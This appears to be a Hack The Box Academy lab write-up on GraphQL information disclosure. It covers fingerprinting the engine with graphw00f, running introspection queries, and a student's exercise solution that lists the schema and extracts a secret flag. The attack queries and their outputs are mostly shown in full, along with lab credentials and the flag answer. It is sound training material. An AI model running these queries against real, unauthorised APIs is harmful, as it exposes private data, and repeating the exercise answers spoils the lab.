Information Disclosure
Exploiting any service requires thorough enumeration and reconnaissance to identify all possible attack vectors. As attackers, we aim to obtain as much information about a service as possible.
Identifying the GraphQL Engine
After logging in to the sample web application and investigating all functionality, we can observe multiple requests to the /graphql endpoints that contain GraphQL queries:

Thus, we can definitely say that the web application implements GraphQL. As a first step, we will identify the GraphQL engine used by the web application using the tool graphw00f. Graphw00f will send various GraphQL queries, including malformed queries, and can determine the GraphQL engine by observing the backend's behavior and error messages in response to these queries.
After cloning the git repository, we can run the tool using the main.py Python script. We will run the tool in fingerprint (-f) and detect mode (-d). We can provide the web application's base URL to let graphwoof attempt to find the GraphQL endpoint by itself:
m4cc18@htb[/htb]$ python3 main.py -d -f -t http://172.17.0.2
+-------------------+
| graphw00f |
+-------------------+
*** ***
** **
** **
+--------------+ +--------------+
| Node X | | Node Y |
+--------------+ +--------------+
*** ***
** **
** **
+------------+
| Node Z |
+------------+
graphw00f - v1.1.17
The fingerprinting tool for GraphQL
Dolev Farhi <dolev@lethalbit.com>
[*] Checking http://172.17.0.2/
[*] Checking http://172.17.0.2/graphql
[!] Found GraphQL at http://172.17.0.2/graphql
[*] Attempting to fingerprint...
[*] Discovered GraphQL Engine: (Graphene)
[!] Attack Surface Matrix: https://github.com/nicholasaleks/graphql-threat-matrix/blob/master/implementations/graphene.md
[!] Technologies: Python
[!] Homepage: https://graphene-python.org
[*] Completed.
As we can see, the graphwoof identified the GraphQL engine Graphene. Additionally, it provides us with the corresponding detailed page in the GraphQL-Threat-Matrix, which provides more in-depth information about the identified GraphQL engine:

Lastly, by accessing the /graphql endpoint in a web browser directly, we can see that the web application runs a graphiql interface. This enables us to provide GraphQL queries directly, which is a lot more convenient than running the queries through Burp, as we do not need to worry about breaking the JSON syntax.
Introspection
Introspection is a GraphQL feature that enables users to query the GraphQL API about the structure of the backend system. As such, users can use introspection queries to obtain all queries supported by the API schema. These introspection queries query the __schema field.
For instance, we can identify all GraphQL types supported by the backend using the following query:
{
__schema {
types {
name
}
}
}
The results contain basic default types, such as Int or Boolean, but also all custom types, such as UserObject:

Now that we know a type, we can follow up and obtain the name of all of the type's fields with the following introspection query:
{
__type(name: "UserObject") {
name
fields {
name
type {
name
kind
}
}
}
}
In the result, we can see details we would expect from a user object, such as username and password, as well as their data types:

Furthermore, we can obtain all the queries supported by the backend using this query:
{
__schema {
queryType {
fields {
name
description
}
}
}
}
Knowing all supported queries helps us identify potential attack vectors that we can use to obtain sensitive information. Lastly, we can use the following "general" introspection query that dumps all information about types, fields, and queries supported by the backend:
query IntrospectionQuery {
__schema {
queryType { name }
mutationType { name }
subscriptionType { name }
types {
...FullType
}
directives {
name
description
locations
args {
...InputValue
}
}
}
}
fragment FullType on __Type {
kind
name
description
fields(includeDeprecated: true) {
name
description
args {
...InputValue
}
type {
...TypeRef
}
isDeprecated
deprecationReason
}
inputFields {
...InputValue
}
interfaces {
...TypeRef
}
enumValues(includeDeprecated: true) {
name
description
isDeprecated
deprecationReason
}
possibleTypes {
...TypeRef
}
}
fragment InputValue on __InputValue {
name
description
type { ...TypeRef }
defaultValue
}
fragment TypeRef on __Type {
kind
name
ofType {
kind
name
ofType {
kind
name
ofType {
kind
name
ofType {
kind
name
ofType {
kind
name
ofType {
kind
name
ofType {
kind
name
}
}
}
}
}
}
}
}
The result of this query is quite large and complex. However, we can visualize the schema using the tool GraphQL-Voyager. For this module, we will use the GraphQL Demo. However, in a real engagement, we should follow the GitHub instructions to host the tool ourselves, ensuring that no sensitive information leaves our system.
In the demo, we can click CHANGE SCHEMA and select INTROSPECTION. After pasting the result of the above introspection query in the text field and clicking on DISPLAY, the backend's GraphQL schema is visualized for us. We can explore all supported queries, types, and fields:
Exercise
TARGET: 154.57.164.73:32701
Authenticate to target with username "htb-stdnt" and password "AcademyStudent!"
Challenge 1
After executing an introspection query, what is the flag you can exfiltrate?
The first step is to identify all available types in the graphQL backend. I used the following query:
{
__schema {
types {
name
}
}
}
Result:
{
"data": {
"__schema": {
"types": [
{
"name": "Query"
},
{
"name": "Node"
},
{
"name": "ID"
},
{
"name": "SecretObject"
},
{
"name": "String"
},
{
"name": "UserObject"
},
{
"name": "PostObjectConnection"
},
{
"name": "PageInfo"
},
{
"name": "Boolean"
},
{
"name": "PostObjectEdge"
},
{
"name": "PostObject"
},
{
"name": "Int"
},
{
"name": "Mutation"
},
{
"name": "RegisterUser"
},
{
"name": "RegisterUserInput"
},
{
"name": "__Schema"
},
{
"name": "__Type"
},
{
"name": "__TypeKind"
},
{
"name": "__Field"
},
{
"name": "__InputValue"
},
{
"name": "__EnumValue"
},
{
"name": "__Directive"
},
{
"name": "__DirectiveLocation"
}
]
}
}
}
- We noticed there is a very suspicious
SecretObjecttype that may have been exposed because of a misconfiguration.
Next I will go ahead and query for this SecretObject type:
{
__type(name: "SecretObject") {
name
fields {
name
type {
name
kind
}
}
}
}
Result:
{
"data": {
"__type": {
"name": "SecretObject",
"fields": [
{
"name": "id",
"type": {
"name": null,
"kind": "NON_NULL"
}
},
{
"name": "secret",
"type": {
"name": "String",
"kind": "SCALAR"
}
}
]
}
}
}
- Notice how it contains a field with the name
secretand it is a String. - This looks promising so far.
Lets now try to query for the types of queries we can do (queryType):
{
__schema {
queryType {
fields {
name
description
}
}
}
}
Result:
{
"data": {
"__schema": {
"queryType": {
"fields": [
{
"name": "node",
"description": null
},
{
"name": "secrets",
"description": null
},
{
"name": "users",
"description": null
},
{
"name": "posts",
"description": null
},
{
"name": "user",
"description": null
},
{
"name": "postByAuthor",
"description": null
},
{
"name": "post",
"description": null
}
]
}
}
}
}
- Notice there is a
secretsfield that we are able to query! - This must be it.
Query secrets directly:
{
secrets {
id
secret
}
}
Result:
{
"data": {
"secrets": [
{
"id": "U2VjcmV0T2JqZWN0OjE=",
"secret": "HTB{ddd7c7354d1f06db3604b3bbc8ccf5cd}"
}
]
}
}
flag: HTB